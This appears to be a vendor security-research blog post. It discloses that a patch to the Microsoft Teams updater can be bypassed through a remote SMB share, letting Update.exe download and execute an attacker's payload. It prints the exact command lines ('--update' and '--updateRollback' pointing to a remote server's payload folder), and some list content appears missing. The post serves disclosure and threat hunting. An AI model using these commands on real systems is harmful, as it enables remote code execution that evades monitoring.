During this global pandemic COVID-19 situation, there has been an increasing trend of video conferencing solutions, Trustwave SpiderLabs are exercising extra vigilance in monitoring the video conferencing traffics. During our threat hunt, we have observed lots of Microsoft Teams updater traffic. Due to the noisy nature of the traffic, there is a possibility that malicious traffic hiding there will evade the analyst's view or even be added to a list of allowed, and therefore unmonitored, list of applications.
Because of this, I reviewed the previous findings on Microsoft Team code execution and found that it was fixed but not completely.
My original finding allowed a malicious actor to use the MS Teams Updater to download any binary or payload they wish. This technique is typically known as Living Off the Land and is especially dangerous, as it uses known, common software to download malware.
The patch previously provided for Teams was to restrict its ability to update via a URL. Instead, the updater allows local connections via a share or local folder for product updates.
Initially, when I observed this finding, I figured it could still be used as a technique for lateral movement, however, I found the limitations added could be easily bypassed by pointing to a remote SMB share.
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update
As per the patch, Microsoft Teams Updater will allow only local network paths to access and update, that means it will detect the string "http/s", ":", "/" and port numbers in the updater URL, blocks and log the activity under %localappdata%\Microsoft\Teams\SquirrelSetup.log
It allows share access in the local UNC format: \\server\
To exploit this an attacker would need to:
It looks like a complicated scenario and there’s a long road to travel, but we can make it work.
To reduce the attack steps, an attacker can create a remote rather than local share. This would allow them to download the remote payload and execute rather than trying to get the payload to a local share as an intermediary step.
I did some research on Samba and configured a Samba server for remote, public access. After a successful setup, I initiated the command execution, downloaded remote payload, and executed directly from Microsoft Teams Updater "Update.exe"
Command: Update.exe --update=\\remoteserver\payloadFolder
%localappdata%/Microsoft/Teams/update.exe
To exploit this, a payload that supports the updater framework must be crafted first
Since it is a Samba server, the server needs to be first authenticated from windows "Run".
After some seconds (wait for 10-15 seconds), the payload will be downloaded successfully and executed by Microsoft Teams
update.exe --update=\\remoteserver\payloadFolder
update.exe --updateRollback=\\remoteserver\payloadFolder
Trustwave did reach out to Microsoft on this issue and they responded saying:
“Thank you again for submitting this issue to Microsoft. We determined that this behavior is considered to be by design as "we cannot restrict SMB source for –update because we have customers that apparently rely on this (e.g. folder redirection)."
From the Threat hunting perspective
Trustwave is exercising extra vigilance in monitoring this kind of traffic. We regularly monitor and improve our threat hunting plans for all global cyber events and all organizations can undertake similar operations within their environment. Contact Trustwave about engaging professional threat hunting.